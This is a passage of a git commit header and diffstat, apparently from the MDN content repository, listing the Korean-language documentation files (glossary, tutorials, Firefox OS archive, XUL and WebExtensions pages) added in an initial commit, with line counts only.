From da78a9e329e272dedb2400b79a3bdeebff387d47 Mon Sep 17 00:00:00 2001 From: Peter Bengtsson Date: Tue, 8 Dec 2020 14:42:17 -0500 Subject: initial commit --- files/ko/_redirects.txt | 975 + files/ko/_wikihistory.json | 18712 +++++++++++++++++++ files/ko/a_basic_raycaster/index.html | 53 + .../ko/a_re-introduction_to_javascript/index.html | 1038 + .../index.html | 26 + .../index.html | 125 + files/ko/animated_png_graphics/index.html | 430 + .../add-ons/code_snippets/cookies/index.html | 15 + files/ko/archive/add-ons/code_snippets/index.html | 55 + .../add-ons/code_snippets/page_loading/index.html | 26 + .../code_snippets/running_applications/index.html | 51 + .../add-ons/code_snippets/windows/index.html | 25 + .../archive/add-ons/code_snippets/xml/index.html | 22 + .../index.html | 193 + files/ko/archive/add-ons/index.html | 8 + .../index.html | 114 + files/ko/archive/api/index.html | 13 + files/ko/archive/api/navigator/index.html | 8 + files/ko/archive/apps/design/planning/index.html | 23 + files/ko/archive/apps/index.html | 14 + files/ko/archive/b2g_os/api/camera_api/index.html | 38 + .../b2g_os/api/camera_api/introduction/index.html | 247 + files/ko/archive/b2g_os/api/index.html | 120 + files/ko/archive/b2g_os/api/tcpsocket/index.html | 102 + .../b2g_os/application_development/index.html | 12 + files/ko/archive/b2g_os/apps/index.html | 57 + .../writing_a_web_app_for_firefox_os/index.html | 25 + .../ko/archive/b2g_os/automated_testing/index.html | 84 + files/ko/archive/b2g_os/building/index.html | 125 + .../building_and_installing_firefox_os/index.html | 49 + .../debugging/debugging_b2g_using_gdb/index.html | 153 + files/ko/archive/b2g_os/debugging/index.html | 84 + .../index.html | 79 + files/ko/archive/b2g_os/firefox_os_apps/index.html | 85 + .../b2g_os/firefox_os_apps/localization/index.html | 92 + .../firefox_os_build_prerequisites/index.html | 267 + files/ko/archive/b2g_os/firefox_os_faq/index.html | 39 + files/ko/archive/b2g_os/index.html | 181 + .../installing_on_a_mobile_device/index.html | 61 + files/ko/archive/b2g_os/introduction/index.html | 83 + files/ko/archive/b2g_os/pandaboard/index.html | 36 + files/ko/archive/b2g_os/phone_guide/index.html | 6 + .../b2g_os/platform/architecture/index.html | 532 + files/ko/archive/b2g_os/platform/gonk/index.html | 103 + files/ko/archive/b2g_os/platform/index.html | 99 + files/ko/archive/b2g_os/porting/index.html | 121 + .../preparing_for_your_first_b2g_build/index.html | 148 + files/ko/archive/b2g_os/quickstart/index.html | 49 + .../quickstart/intro_to_firefox_os/index.html | 14 + .../quickstart/intro_to_open_web_apps/index.html | 53 + files/ko/archive/b2g_os/security/index.html | 58 + .../index.html" | 253 + files/ko/archive/b2g_os/simulator/index.html | 280 + .../b2g_os/\354\204\261\353\212\245/index.html" | 146 + .../index.html" | 247 + files/ko/archive/css3/index.html | 582 + files/ko/archive/index.html | 21 + files/ko/archive/mdn/index.html | 20 + files/ko/archive/meta_docs/index.html | 15 + files/ko/archive/misc_top_level/index.html | 8 + .../index.html | 18 + .../using_content_preferences/index.html | 35 + .../creating_a_skin_for_seamonkey_2.x/index.html | 19 + files/ko/archive/mozilla/drag_and_drop/index.html | 148 + files/ko/archive/mozilla/firefox/index.html | 8 + .../mozilla/firefox/using_microformats/index.html | 144 + files/ko/archive/mozilla/index.html | 10 + .../mozilla/rdf_datasource_how-to/index.html | 224 + files/ko/archive/mozilla/xbl/index.html | 32 + .../xbl/xbl_1.0_reference/elements/index.html | 387 + .../mozilla/xbl/xbl_1.0_reference/index.html | 118 + .../xulrunner/dialogs_in_xulrunner/index.html | 121 + .../getting_started_with_xulrunner/index.html | 98 + files/ko/archive/mozilla/xulrunner/index.html | 26 + .../xulrunner/what_xulrunner_provides/index.html | 64 + .../xulrunner/xul_application_packaging/index.html | 107 + .../mozilla/xulrunner/xulrunner_faq/index.html | 64 + .../xulrunner/xulrunner_hall_of_fame/index.html | 178 + .../mozilla/xulrunner/xulrunner_tips/index.html | 168 + files/ko/archive/rss/getting_started/index.html | 56 + .../rss/getting_started/what_is_rss/index.html | 230 + files/ko/archive/rss/index.html | 48 + files/ko/archive/rss/module/index.html | 70 + files/ko/archive/rss/version/index.html | 109 + files/ko/archive/security/index.html | 14 + files/ko/archive/security/tcp_ip/index.html | 50 + files/ko/archive/web/index.html | 12 + .../ecmascript_7_support_in_mozilla/index.html | 98 + files/ko/archive/web/javascript/index.html | 12 + .../legacy_generator_function/index.html | 58 + .../legacy_generator_function_statement/index.html | 59 + files/ko/archive/web_standards/index.html | 64 + .../index.html | 66 + .../mozilla_s_doctype_sniffing/index.html | 141 + .../rdf_in_fifty_words_or_less/index.html | 87 + .../web_standards/rdf_in_mozilla_faq/index.html | 292 + .../index.html | 263 + files/ko/building_an_extension/index.html | 240 + files/ko/bundles/index.html | 67 + files/ko/consistent_list_indentation/index.html | 106 + files/ko/creating_a_microsummary/index.html | 169 + files/ko/creating_mozsearch_plugins/index.html | 169 + .../an_overview_of_xpcom/index.html | 531 + files/ko/creating_xpcom_components/index.html | 355 + .../creating_xpcom_components/preface/index.html | 78 + files/ko/css3_columns/index.html | 204 + files/ko/css_improvements_in_firefox_3/index.html | 35 + .../index.html | 28 + files/ko/dhtml/index.html | 42 + files/ko/dom_improvements_in_firefox_3/index.html | 30 + .../index.html | 39 + files/ko/drag_and_drop_events/index.html | 34 + files/ko/drawing_text_using_a_canvas/index.html | 164 + .../index.html | 82 + files/ko/e4x/index.html | 28 + files/ko/embedding_mozilla/index.html | 57 + files/ko/embedding_the_editor/index.html | 26 + files/ko/extensions/community/index.html | 18 + files/ko/extensions/index.html | 72 + .../index.html | 28 + files/ko/extensions/thunderbird/index.html | 112 + files/ko/firefox_1.5_for_developers/index.html | 150 + files/ko/firefox_2_for_developers/index.html | 85 + files/ko/firefox_3.5_for_developers/index.html | 302 + files/ko/fuel/index.html | 31 + files/ko/full_page_zoom/index.html | 32 + files/ko/games/index.html | 95 + files/ko/games/index/index.html | 10 + files/ko/games/introduction/index.html | 118 + .../tutorials/2d_breakout_game_phaser/index.html | 64 + .../\353\223\235\354\240\220/index.html" | 73 + .../index.html | 447 + files/ko/games/tutorials/index.html | 28 + .../bounce_off_the_walls/index.html" | 99 + .../build_the_brick_field/index.html" | 112 + .../collision_detection/index.html" | 128 + .../finishing_up/index.html" | 111 + .../game_over/index.html" | 77 + .../index.html" | 55 + .../mouse_controls/index.html" | 57 + .../paddle_and_keyboard_controls/index.html" | 122 + .../track_the_score_and_win/index.html" | 100 + .../index.html" | 145 + .../index.html" | 114 + files/ko/gecko/index.html | 73 + .../index.html | 73 + files/ko/gecko_embedding_basics/index.html | 401 + files/ko/gecko_plugin_api_reference/index.html | 213 + files/ko/glossary/abstraction/index.html | 52 + files/ko/glossary/accessibility/index.html | 33 + files/ko/glossary/ajax/index.html | 26 + files/ko/glossary/algorithm/index.html | 38 + files/ko/glossary/api/index.html | 33 + files/ko/glossary/argument/index.html | 20 + files/ko/glossary/ascii/index.html | 12 + files/ko/glossary/attribute/index.html | 32 + files/ko/glossary/bandwidth/index.html | 15 + files/ko/glossary/block/css/index.html | 24 + files/ko/glossary/block/index.html | 13 + files/ko/glossary/browser/index.html | 41 + files/ko/glossary/call_stack/index.html | 84 + files/ko/glossary/character/index.html | 18 + files/ko/glossary/character_encoding/index.html | 23 + files/ko/glossary/character_set/index.html | 31 + files/ko/glossary/chrome/index.html | 12 + files/ko/glossary/client_hints/index.html | 41 + files/ko/glossary/compile/index.html | 28 + files/ko/glossary/computer_programming/index.html | 17 + files/ko/glossary/copyleft/index.html | 14 + files/ko/glossary/cors/index.html | 23 + files/ko/glossary/cross_axis/index.html | 72 + files/ko/glossary/csp/index.html | 22 + files/ko/glossary/css/index.html | 45 + files/ko/glossary/css_preprocessor/index.html | 26 + files/ko/glossary/descriptor_(css)/index.html | 12 + files/ko/glossary/doctype/index.html | 23 + files/ko/glossary/dom/index.html | 28 + files/ko/glossary/domain_name/index.html | 21 + files/ko/glossary/ecmascript/index.html | 20 + files/ko/glossary/element/index.html | 24 + files/ko/glossary/empty_element/index.html | 34 + files/ko/glossary/endianness/index.html | 44 + files/ko/glossary/entity_header/index.html | 26 + files/ko/glossary/falsy/index.html | 107 + files/ko/glossary/firewall/index.html | 19 + files/ko/glossary/first-class_function/index.html | 105 + files/ko/glossary/flex_container/index.html | 36 + files/ko/glossary/flex_item/index.html | 34 + files/ko/glossary/flexbox/index.html | 79 + files/ko/glossary/fork/index.html | 27 + files/ko/glossary/ftp/index.html | 17 + files/ko/glossary/function/index.html | 94 + files/ko/glossary/general_header/index.html | 11 + files/ko/glossary/gif/index.html | 20 + files/ko/glossary/global_object/index.html | 70 + files/ko/glossary/google_chrome/index.html | 33 + files/ko/glossary/gpl/index.html | 14 + files/ko/glossary/gpu/index.html | 6 + files/ko/glossary/graceful_degradation/index.html | 36 + files/ko/glossary/head/index.html | 15 + files/ko/glossary/header/index.html | 61 + files/ko/glossary/hoisting/index.html | 73 + files/ko/glossary/html/index.html | 50 + files/ko/glossary/http/index.html | 19 + files/ko/glossary/http_2/index.html | 25 + files/ko/glossary/https/index.html | 17 + files/ko/glossary/idempotent/index.html | 49 + files/ko/glossary/iife/index.html | 59 + files/ko/glossary/index.html | 39 + files/ko/glossary/index/index.html | 11 + files/ko/glossary/internet/index.html | 16 + files/ko/glossary/ip_address/index.html | 16 + files/ko/glossary/ipv4/index.html | 14 + files/ko/glossary/ipv6/index.html | 14 + files/ko/glossary/java/index.html | 20 + files/ko/glossary/javascript/index.html | 43 + files/ko/glossary/jquery/index.html | 57 + files/ko/glossary/json/index.html | 24 + files/ko/glossary/main_axis/index.html | 50 + files/ko/glossary/metadata/index.html | 25 + files/ko/glossary/method/index.html | 40 + files/ko/glossary/microsoft_edge/index.html | 18 + .../microsoft_internet_explorer/index.html | 37 + files/ko/glossary/mime_type/index.html | 27 + files/ko/glossary/mozilla_firefox/index.html | 29 + files/ko/glossary/mvc/index.html | 62 + files/ko/glossary/node.js/index.html | 29 + files/ko/glossary/null/index.html | 38 + files/ko/glossary/object/index.html | 16 + files/ko/glossary/object_reference/index.html | 16 + files/ko/glossary/oop/index.html | 17 + files/ko/glossary/operator/index.html | 20 + files/ko/glossary/origin/index.html | 81 + files/ko/glossary/pdf/index.html | 14 + files/ko/glossary/php/index.html | 19 + files/ko/glossary/pixel/index.html | 16 + files/ko/glossary/png/index.html | 14 + files/ko/glossary/polyfill/index.html | 22 + files/ko/glossary/preflight_request/index.html | 34 + files/ko/glossary/primitive/index.html | 125 + .../ko/glossary/progressive_enhancement/index.html | 24 + files/ko/glossary/protocol/index.html | 26 + .../prototype-based_programming/index.html | 19 + files/ko/glossary/prototype/index.html | 16 + files/ko/glossary/proxy_server/index.html | 20 + files/ko/glossary/pseudocode/index.html | 14 + files/ko/glossary/python/index.html | 22 + files/ko/glossary/reflow/index.html | 12 + files/ko/glossary/regular_expression/index.html | 27 + files/ko/glossary/request_header/index.html | 41 + files/ko/glossary/response_header/index.html | 39 + files/ko/glossary/rest/index.html | 24 + .../self-executing_anonymous_function/index.html | 8 + files/ko/glossary/semantics/index.html | 153 + files/ko/glossary/seo/index.html | 41 + files/ko/glossary/server/index.html | 25 + files/ko/glossary/shim/index.html | 14 + files/ko/glossary/signature/function/index.html | 52 + files/ko/glossary/signature/index.html | 19 + files/ko/glossary/simd/index.html | 20 + files/ko/glossary/smtp/index.html | 31 + files/ko/glossary/sql/index.html | 21 + files/ko/glossary/ssl/index.html | 27 + files/ko/glossary/stacking_context/index.html | 18 + files/ko/glossary/string/index.html | 17 + files/ko/glossary/svg/index.html | 37 + files/ko/glossary/symbol/index.html | 61 + files/ko/glossary/tag/index.html | 27 + files/ko/glossary/tcp/index.html | 31 + files/ko/glossary/tls/index.html | 39 + files/ko/glossary/truthy/index.html | 53 + files/ko/glossary/ui/index.html | 15 + files/ko/glossary/undefined/index.html | 25 + files/ko/glossary/unicode/index.html | 20 + files/ko/glossary/uri/index.html | 23 + files/ko/glossary/url/index.html | 36 + files/ko/glossary/user_agent/index.html | 56 + files/ko/glossary/utf-8/index.html | 17 + files/ko/glossary/variable/index.html | 21 + files/ko/glossary/viewport/index.html | 22 + files/ko/glossary/webextensions/index.html | 14 + files/ko/glossary/webrtc/index.html | 25 + files/ko/glossary/websockets/index.html | 31 + files/ko/glossary/whatwg/index.html | 23 + files/ko/glossary/world_wide_web/index.html | 41 + files/ko/glossary/wrapper/index.html | 27 + files/ko/glossary/xhr_(xmlhttprequest)/index.html | 26 + .../index.html" | 20 + .../glossary/\353\260\260\354\227\264/index.html" | 30 + .../glossary/\353\266\210\353\246\260/index.html" | 54 + .../index.html" | 24 + .../index.html" | 39 + .../index.html" | 21 + .../index.html" | 21 + .../glossary/\354\272\220\354\213\234/index.html" | 14 + files/ko/gre/index.html | 35 + files/ko/hacking_firefox/index.html | 30 + .../index.html | 192 + files/ko/install.rdf/index.html | 40 + .../index.html | 57 + .../index.html | 27 + .../index.html | 438 + .../index.html | 367 + .../index.html | 434 + .../using_javascript_code_modules/index.html | 144 + files/ko/jsapi_reference/index.html | 268 + files/ko/jsapi_reference/jsclass.flags/index.html | 177 + .../how_does_the_internet_work/index.html | 93 + .../html_features_for_accessibility/index.html | 49 + files/ko/learn/common_questions/index.html | 127 + .../index.html | 125 + .../set_up_a_local_testing_server/index.html | 112 + .../upload_files_to_a_web_server/index.html | 134 + .../what_are_hyperlinks/index.html | 91 + .../what_is_a_domain_name/index.html | 149 + .../common_questions/what_is_a_url/index.html | 158 + .../what_is_a_web_server/index.html | 118 + .../what_software_do_i_need/index.html | 180 + .../index.html" | 170 + .../index.html" | 176 + files/ko/learn/css/basics/layout/index.html | 408 + .../backgrounds_and_borders/index.html | 318 + .../cascade_and_inheritance/index.html | 337 + .../css/building_blocks/debugging_css/index.html | 200 + .../handling_different_text_directions/index.html | 147 + .../images_media_form_elements/index.html | 195 + files/ko/learn/css/building_blocks/index.html | 90 + .../css/building_blocks/organizing/index.html | 350 + .../building_blocks/overflowing_content/index.html | 119 + .../building_blocks/sizing_items_in_css/index.html | 131 + .../css/building_blocks/styling_tables/index.html | 308 + .../building_blocks/values_and_units/index.html | 388 + .../index.html" | 347 + .../index.html" | 223 + files/ko/learn/css/css_layout/flexbox/index.html | 340 + files/ko/learn/css/css_layout/floats/index.html | 517 + files/ko/learn/css/css_layout/grids/index.html | 711 + files/ko/learn/css/css_layout/index.html | 76 + .../learn/css/css_layout/introduction/index.html | 720 + .../css_layout/legacy_layout_methods/index.html | 588 + .../css_layout/multiple-column_layout/index.html | 415 + .../index.html" | 424 + .../index.html" | 333 + .../index.html" | 585 + .../index.html" | 248 + .../index.html" | 102 + .../css/first_steps/getting_started/index.html | 253 + .../first_steps/how_css_is_structured/index.html | 504 + .../learn/css/first_steps/how_css_works/index.html | 156 + files/ko/learn/css/first_steps/index.html | 46 + .../using_your_new_knowledge/index.html | 96 + .../learn/css/first_steps/what_is_css/index.html | 119 + .../learn/css/howto/generated_content/index.html | 123 + files/ko/learn/css/howto/index.html | 86 + files/ko/learn/css/index.html | 60 + .../index.html" | 128 + .../learn/css/styling_text/fundamentals/index.html | 734 + files/ko/learn/css/styling_text/index.html | 48 + .../css/styling_text/styling_lists/index.html | 389 + files/ko/learn/front-end_web_developer/index.html | 194 + .../css_\352\270\260\353\263\270/index.html" | 293 + .../html_\352\270\260\353\263\270/index.html" | 234 + .../learn/getting_started_with_the_web/index.html | 64 + .../javascript_basics/index.html | 427 + .../what_will_your_website_look_like/index.html | 95 + .../index.html" | 75 + .../index.html" | 176 + .../index.html" | 99 + .../index.html" | 117 + files/ko/learn/how_to_contribute/index.html | 105 + .../index.html" | 928 + files/ko/learn/html/forms/index.html | 358 + .../sending_and_retrieving_form_data/index.html | 249 + .../html/forms/your_first_html_form/index.html | 272 + files/ko/learn/html/howto/index.html | 153 + .../index.html | 267 + .../index.html" | 82 + files/ko/learn/html/index.html | 53 + .../advanced_text_formatting/index.html | 478 + .../creating_hyperlinks/index.html | 338 + .../introduction_to_html/debugging_html/index.html | 179 + .../document_and_website_structure/index.html | 267 + .../getting_started/index.html | 725 + .../html_text_fundamentals/index.html | 654 + .../ko/learn/html/introduction_to_html/index.html | 59 + .../marking_up_a_letter/index.html | 102 + .../the_head_metadata_in_html/index.html | 277 + .../ideo_and_audio_content/index.html | 327 + .../images_in_html/index.html | 496 + .../learn/html/multimedia_and_embedding/index.html | 77 + .../responsive_images/index.html | 261 + files/ko/learn/html/tables/index.html | 42 + files/ko/learn/index.html | 167 + files/ko/learn/index/index.html | 10 + files/ko/learn/infrastructure/index.html | 18 + .../javascript/asynchronous/async_await/index.html | 383 + .../javascript/asynchronous/concepts/index.html | 159 + files/ko/learn/javascript/asynchronous/index.html | 59 + .../javascript/asynchronous/introducing/index.html | 281 + .../javascript/asynchronous/promises/index.html | 588 + .../asynchronous/timeouts_and_intervals/index.html | 598 + .../build_your_own_function/index.html | 251 + .../building_blocks/functions/index.html | 394 + .../ko/learn/javascript/building_blocks/index.html | 49 + .../building_blocks/looping_code/index.html | 948 + .../index.html" | 770 + .../client-side_storage/index.html | 780 + .../javascript/client-side_web_apis/index.html | 37 + .../first_steps/a_first_splash/index.html | 680 + .../learn/javascript/first_steps/arrays/index.html | 664 + files/ko/learn/javascript/first_steps/index.html | 60 + .../learn/javascript/first_steps/math/index.html | 422 + .../first_steps/silly_story_generator/index.html | 192 + .../javascript/first_steps/strings/index.html | 294 + .../first_steps/useful_string_methods/index.html | 461 + .../javascript/first_steps/variables/index.html | 360 + .../first_steps/what_is_javascript/index.html | 423 + .../first_steps/what_went_wrong/index.html | 237 + files/ko/learn/javascript/howto/index.html | 294 + files/ko/learn/javascript/index.html | 70 + .../ko/learn/javascript/objects/basics/index.html | 268 + files/ko/learn/javascript/objects/index.html | 50 + .../javascript/objects/inheritance/index.html | 394 + files/ko/learn/javascript/objects/json/index.html | 351 + .../objects/object-oriented_js/index.html | 287 + .../objects/object_prototypes/index.html | 274 + .../learn/server-side/django/admin_site/index.html | 357 + .../server-side/django/authentication/index.html | 707 + .../learn/server-side/django/deployment/index.html | 685 + .../django/development_environment/index.html | 439 + files/ko/learn/server-side/django/forms/index.html | 682 + .../server-side/django/generic_views/index.html | 623 + .../learn/server-side/django/home_page/index.html | 414 + files/ko/learn/server-side/django/index.html | 65 + .../server-side/django/introduction/index.html | 256 + .../ko/learn/server-side/django/models/index.html | 454 + .../learn/server-side/django/sessions/index.html | 190 + .../server-side/django/skeleton_website/index.html | 398 + .../ko/learn/server-side/django/testing/index.html | 933 + .../tutorial_local_library_website/index.html | 92 + .../django/web_application_security/index.html | 176 + .../ko/learn/server-side/express_nodejs/index.html | 63 + .../express_nodejs/introduction/index.html | 488 + .../server-side/express_nodejs/mongoose/index.html | 792 + .../server-side/express_nodejs/routes/index.html | 639 + .../index.html" | 403 + .../index.html" | 512 + .../first_steps/client-server_overview/index.html | 324 + files/ko/learn/server-side/first_steps/index.html | 39 + .../first_steps/introduction/index.html | 184 + .../first_steps/web_frameworks/index.html | 312 + .../first_steps/website_security/index.html | 164 + files/ko/learn/server-side/index.html | 57 + files/ko/learn/skills/index.html | 21 + .../client-side_javascript_frameworks/index.html | 165 + .../vue_first_component/index.html | 384 + .../vue_getting_started/index.html | 293 + files/ko/learn/tools_and_testing/github/index.html | 82 + files/ko/learn/tools_and_testing/index.html | 31 + .../learn/web_\352\270\260\354\210\240/index.html" | 23 + .../html/index.html" | 537 + .../index.html" | 59 + .../what_is_accessibility/index.html" | 205 + .../index.html" | 315 + files/ko/localization/index.html | 63 + .../localizing_extension_descriptions/index.html | 90 + files/ko/mdn/about/index.html | 118 + files/ko/mdn/about/mdn_services/index.html | 15 + files/ko/mdn/community/conversations/index.html | 63 + files/ko/mdn/community/index.html | 46 + files/ko/mdn/community/roles/admins/index.html | 59 + files/ko/mdn/community/roles/index.html | 14 + .../roles/localization_driver_role/index.html | 66 + .../mdn/community/working_in_community/index.html | 110 + .../creating_and_editing_pages/index.html | 166 + .../ko/mdn/contribute/does_this_belong/index.html | 139 + files/ko/mdn/contribute/feedback/index.html | 74 + files/ko/mdn/contribute/getting_started/index.html | 111 + .../howto/do_a_technical_review/index.html | 41 + .../howto/do_an_editorial_review/index.html | 48 + files/ko/mdn/contribute/howto/index.html | 14 + .../index.html" | 32 + .../contribute/howto/report_a_problem/index.html | 20 + .../howto/set_the_summary_for_a_page/index.html | 53 + files/ko/mdn/contribute/howto/tag/index.html | 396 + .../howto/tag_javascript_pages/index.html | 69 + .../index.html | 108 + .../index.html" | 39 + files/ko/mdn/contribute/index.html | 17 + files/ko/mdn/contribute/processes/index.html | 16 + files/ko/mdn/editor/index.html | 19 + files/ko/mdn/editor/links/index.html | 181 + files/ko/mdn/guidelines/best_practices/index.html | 34 + .../code_guidelines/code_guidelines/index.html | 159 + .../mdn/guidelines/code_guidelines/css/index.html | 249 + files/ko/mdn/guidelines/code_guidelines/index.html | 80 + files/ko/mdn/guidelines/index.html | 14 + files/ko/mdn/guidelines/style_guide/index.html | 833 + files/ko/mdn/index.html | 34 + files/ko/mdn/kuma/index.html | 26 + .../api_reference_sidebars/index.html | 114 + files/ko/mdn/structures/api_references/index.html | 58 + .../mdn/structures/compatibility_tables/index.html | 496 + files/ko/mdn/structures/index.html | 18 + .../macros/commonly-used_macros/index.html | 220 + files/ko/mdn/structures/macros/index.html | 46 + files/ko/mdn/tools/index.html | 16 + files/ko/mdn/tools/kumascript/index.html | 472 + .../tools/kumascript/troubleshooting/index.html | 59 + .../index.html" | 34 + files/ko/mdn/user_guide/index.html | 11 + files/ko/mdn_at_ten/index.html | 43 + files/ko/mercurial_faq/index.html | 646 + .../index.html | 1058 ++ files/ko/mozilla's_quirks_mode/index.html | 22 + files/ko/mozilla/add-ons/amo/index.html | 15 + files/ko/mozilla/add-ons/amo/policy/index.html | 29 + .../add-ons/bootstrapped_extensions/index.html | 349 + .../index.html | 59 + .../mozilla/add-ons/extension_packaging/index.html | 34 + files/ko/mozilla/add-ons/index.html | 116 + files/ko/mozilla/add-ons/plugins/index.html | 43 + .../add-ons/plugins/macromedia_flash/index.html | 150 + .../mozilla/add-ons/plugins/reference/index.html | 16 + .../reference/np_getmimedescription/index.html | 38 + .../plugins/reference/npn_posturlnotify/index.html | 76 + .../index.html | 89 + files/ko/mozilla/add-ons/themes/index.html | 64 + .../contents.rdf/index.html | 44 + .../getting_started/index.html | 108 + .../creating_a_skin_for_firefox/index.html | 27 + .../install.rdf/index.html | 44 + .../creating_a_skin_for_firefox/uuid/index.html | 10 + .../ko/mozilla/add-ons/themes/obsolete/index.html | 10 + .../anatomy_of_a_webextension/index.html | 131 + .../webextensions/api/browsingdata/index.html | 115 + .../webextensions/api/contentscripts/index.html | 38 + .../api/contextmenus/contexttype/index.html | 95 + .../api/contextmenus/create/index.html | 212 + .../api/contextmenus/gettargetelement/index.html | 58 + .../webextensions/api/contextmenus/index.html | 183 + .../api/contextmenus/onshown/index.html | 144 + .../mozilla/add-ons/webextensions/api/index.html | 51 + .../webextensions/api/pageaction/index.html | 99 + .../webextensions/api/pageaction/show/index.html | 93 + .../add-ons/webextensions/api/storage/index.html | 111 + .../webextensions/api/storage/local/index.html | 88 + .../api/storage/storagearea/get/index.html | 125 + .../api/storage/storagearea/index.html | 85 + .../api/storage/storagearea/set/index.html | 90 + .../webextensions/api/storage/sync/index.html | 77 + .../webextensions/api/tabs/create/index.html | 131 + .../add-ons/webextensions/api/tabs/index.html | 213 + .../webextensions/api/tabs/insertcss/index.html | 129 + .../webextensions/api/webrequest/index.html | 204 + .../api/webrequest/onbeforerequest/index.html | 239 + .../webextensions/content_scripts/index.html | 479 + .../add-ons/webextensions/examples/index.html | 22 + files/ko/mozilla/add-ons/webextensions/index.html | 143 + .../manifest.json/content_scripts/index.html | 227 + .../add-ons/webextensions/manifest.json/index.html | 101 + .../manifest.json/page_action/index.html | 200 + .../add-ons/webextensions/prerequisites/index.html | 10 + .../add-ons/webextensions/user_actions/index.html | 43 + .../webextensions/user_interface/index.html | 96 + .../user_interface/page_actions/index.html | 98 + .../what_are_webextensions/index.html | 28 + .../your_first_webextension/index.html | 154 + .../your_second_webextension/index.html | 456 + .../developer_guide/eclipse/eclipse_cdt/index.html | 443 + .../ko/mozilla/developer_guide/eclipse/index.html | 10 + files/ko/mozilla/developer_guide/index.html | 92 + .../developer_guide/mozilla_build_faq/index.html | 415 + .../mozilla/developer_guide/source_code/index.html | 49 + .../mozilla/firefox/developer_edition/index.html | 56 + files/ko/mozilla/firefox/headless_mode/index.html | 204 + files/ko/mozilla/firefox/index.html | 76 + .../mozilla/firefox/multiple_profiles/index.html | 242 + files/ko/mozilla/firefox/releases/3/index.html | 273 + files/ko/mozilla/firefox/releases/66/index.html | 157 + files/ko/mozilla/firefox/releases/index.html | 23 + files/ko/mozilla/http_cache/index.html | 483 + .../index.html | 73 + files/ko/mozilla/index.html | 21 + .../ko/mozilla/javascript_code_modules/index.html | 97 + files/ko/mozilla/js-ctypes/index.html | 53 + .../\354\206\214\352\260\234/index.html" | 84 + files/ko/mozilla/marketplace/submission/index.html | 9 + files/ko/mozilla/marketplace_kr/index.html | 137 + files/ko/mozilla/mobile/index.html | 30 + .../ko/mozilla/mobile/viewport_meta_tag/index.html | 99 + .../index.html | 98 + .../persona/bootstrapping_persona/index.html | 29 + .../persona/browser_compatibility/index.html | 86 + files/ko/mozilla/persona/index.html | 137 + files/ko/mozilla/persona/quick_setup/index.html | 248 + .../persona/user_interface_guidelines/index.html | 113 + files/ko/mozilla/persona/why_persona/index.html | 31 + files/ko/mozilla/projects/emscripten/index.html | 37 + files/ko/mozilla/projects/index.html | 14 + files/ko/mozilla/projects/l20n/index.html | 126 + files/ko/mozilla/projects/psm/index.html | 15 + .../mozilla/qa/bug_writing_guidelines/index.html | 177 + files/ko/mozilla/qa/index.html | 65 + files/ko/mozilla/tech/index.html | 13 + files/ko/mozilla/tech/xpcom/guide/index.html | 16 + .../tech/xpcom/language_bindings/index.html | 25 + files/ko/mozilla/tech/xpcom/reference/index.html | 30 + .../about_scriptable_interfaces/index.html | 26 + .../reference/interface/nsiloginmanager/index.html | 372 + .../tech/xul/attribute/accesskey/index.html | 44 + .../tech/xul/attribute/currentset/index.html | 25 + .../tech/xul/attribute/image.onload/index.html | 12 + files/ko/mozilla/tech/xul/attribute/index.html | 270 + files/ko/mozilla/tech/xul/index.html | 25 + files/ko/mozilla/tech/xul/menu/index.html | 338 + files/ko/mozilla/tech/xul/property/index.html | 219 + files/ko/mozilla/tech/xul/splitter/index.html | 79 + .../ko/mozilla/tech/xul/template_guide/index.html | 52 + files/ko/mozilla/tech/xul/toolbar/index.html | 218 + files/ko/mozilla/tech/xul/toolbarbutton/index.html | 477 + .../ko/mozilla/tech/xul/toolbarpalette/index.html | 98 + files/ko/mozilla/tech/xul/xul_controls/index.html | 548 + files/ko/mozilla/tech/xul/xul_reference/index.html | 148 + .../xul/xul_tutorial/adding_buttons/index.html | 102 + .../xul_tutorial/adding_event_handlers/index.html | 137 + .../xul_tutorial/adding_html_elements/index.html | 114 + .../adding_labels_and_images/index.html | 65 + .../xul_tutorial/adding_more_elements/index.html | 87 + .../xul/xul_tutorial/box_model_details/index.html | 99 + .../xul/xul_tutorial/content_panels/index.html | 55 + .../xul/xul_tutorial/creating_a_window/index.html | 113 + .../xul_tutorial/cross_package_overlays/index.html | 79 + .../xul_tutorial/element_positioning/index.html | 259 + .../xul_tutorial/focus_and_selection/index.html | 132 + .../mozilla/tech/xul/xul_tutorial/grids/index.html | 156 + .../tech/xul/xul_tutorial/groupboxes/index.html | 74 + files/ko/mozilla/tech/xul/xul_tutorial/index.html | 132 + .../xul/xul_tutorial/input_controls/index.html | 110 + .../tech/xul/xul_tutorial/introduction/index.html | 38 + .../xul_tutorial/introduction_to_rdf/index.html | 74 + .../xul_tutorial/introduction_to_xbl/index.html | 82 + .../xul/xul_tutorial/keyboard_shortcuts/index.html | 384 + .../tech/xul/xul_tutorial/list_controls/index.html | 133 + .../tech/xul/xul_tutorial/localization/index.html | 279 + .../xul/xul_tutorial/manifest_files/index.html | 118 + .../xul_tutorial/more_button_features/index.html | 69 + .../xul_tutorial/more_event_handlers/index.html | 140 + .../xul/xul_tutorial/more_menu_features/index.html | 109 + .../tech/xul/xul_tutorial/popup_menus/index.html | 190 + .../xul/xul_tutorial/progress_meters/index.html | 59 + .../xul/xul_tutorial/property_files/index.html | 64 + .../tech/xul/xul_tutorial/scroll_bars/index.html | 71 + .../xul/xul_tutorial/scrolling_menus/index.html | 46 + .../xul/xul_tutorial/simple_menu_bars/index.html | 160 + .../tech/xul/xul_tutorial/splitters/index.html | 139 + .../xul/xul_tutorial/stack_positioning/index.html | 35 + .../xul/xul_tutorial/stacks_and_decks/index.html | 61 + .../tech/xul/xul_tutorial/tabboxes/index.html | 159 + .../tech/xul/xul_tutorial/templates/index.html | 126 + .../tech/xul/xul_tutorial/the_box_model/index.html | 118 + .../xul/xul_tutorial/the_chrome_url/index.html | 45 + .../tech/xul/xul_tutorial/toolbars/index.html | 107 + .../mozilla/tech/xul/xul_tutorial/trees/index.html | 166 + .../tech/xul/xul_tutorial/using_spacers/index.html | 112 + .../xul/xul_tutorial/xpcom_examples/index.html | 132 + .../xul/xul_tutorial/xpcom_interfaces/index.html | 187 + .../tech/xul/xul_tutorial/xul_structure/index.html | 166 + .../index.html" | 124 + .../index.html" | 47 + .../index.html" | 26 + .../localizing_with_verbatim/index.html" | 125 + .../index.html" | 135 + files/ko/mozilla_source_code_via_cvs/index.html | 136 + files/ko/msx_emulator_(jsmsx)/index.html | 28 + files/ko/navigation_timing/index.html | 137 + files/ko/new_compatibility_tables_beta/index.html | 24 + files/ko/node_server_without_framework/index.html | 74 + 